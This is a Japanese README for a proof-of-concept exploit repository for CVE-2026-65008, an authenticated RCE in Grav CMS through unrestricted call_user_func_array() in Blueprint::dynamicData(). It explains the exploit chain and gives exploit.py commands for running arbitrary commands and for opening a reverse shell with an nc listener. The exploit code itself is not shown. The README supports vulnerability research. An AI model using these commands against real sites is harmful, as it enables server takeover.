
CVE-2026-65008
CVE-2026-65008 の概念実証(PoC): Blueprint::dynamicData() 内の無制限の call_user_func_array() を介した Grav CMS における認証済みリモートコード実行。
admin.pages(または api.pages.write)権限を持つユーザーは、悪意のあるフォーム frontmatter を仕込むことができます。ペイロードは、任意の訪問者(未認証を含む)がページを読み込んだときに、Web サーバーユーザーとして実行されます。
認可されたテストのみ。 自分が所有するシステム、または明示的な書面によるテスト許可を得たシステムにのみ使用してください。
| 役割 | |
|---|---|
| 脆弱性の報告者 | YuvalMil, MatiHub25, LeonKaya |
| ベンダー勧告 | GHSA-fj2p-qj2f-74v5 |
| 本リポジトリ | 独立したラボ PoC / 自動化 |
CVE: https://www.cve.org/CVERecord?id=CVE-2026-65008
Blueprint::dynamicData() は、攻撃者が制御する Class::method 呼び出し可能オブジェクトと引数を、許可リストなしで PHP の call_user_func_array() に渡します。Grav\Common\Utils::arrayFilterRecursive をトランポリンとして組み合わせることで、system() / passthru などに到達します。
Grav 2.0.7+ で修正されました。
9.8 緊急(CRITICAL) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
requestsインストール:
pip install -r requirements.txt
python3 exploit.py -u http://TARGET -U admin -P 'password' -c "id"
先にリスナーを起動:
nc -lvnp 4444
次に:
python3 exploit.py -u http://TARGET -U admin -P 'password' --lhost YOUR_IP --lport 4444
/admin にログイン(login-nonce を取得)admin_nonce を取得data-opts@: ガジェットを含むページを保存www-data として RCEこのプロジェクトは教育および認可されたセキュリティ研究のみを目的としています。著者は悪用について一切の責任を負いません。第三者システムをテストする前に必ず書面による許可を取得してください。本脆弱性はベンダー勧告を通じて開示されました。本リポジトリはラボでの再現を示すものにすぎません。
研究用途に限ります。保証はありません。
| フラグ | 説明 |
|---|
-u, --url | ターゲットのベース URL(必須) |
-U, --username | 管理者 / ページ編集ユーザー(デフォルト: admin) |
-P, --password | パスワード(必須) |
-c, --command | 実行するコマンド(デフォルト: id) |
--lhost | リバースシェルの LHOST |
--lport | リバースシェルの LPORT(デフォルト: 4444) |
--folder | ページフォルダ名(デフォルト: rcepoc) |
--no-verify | TLS 検証を無効化 |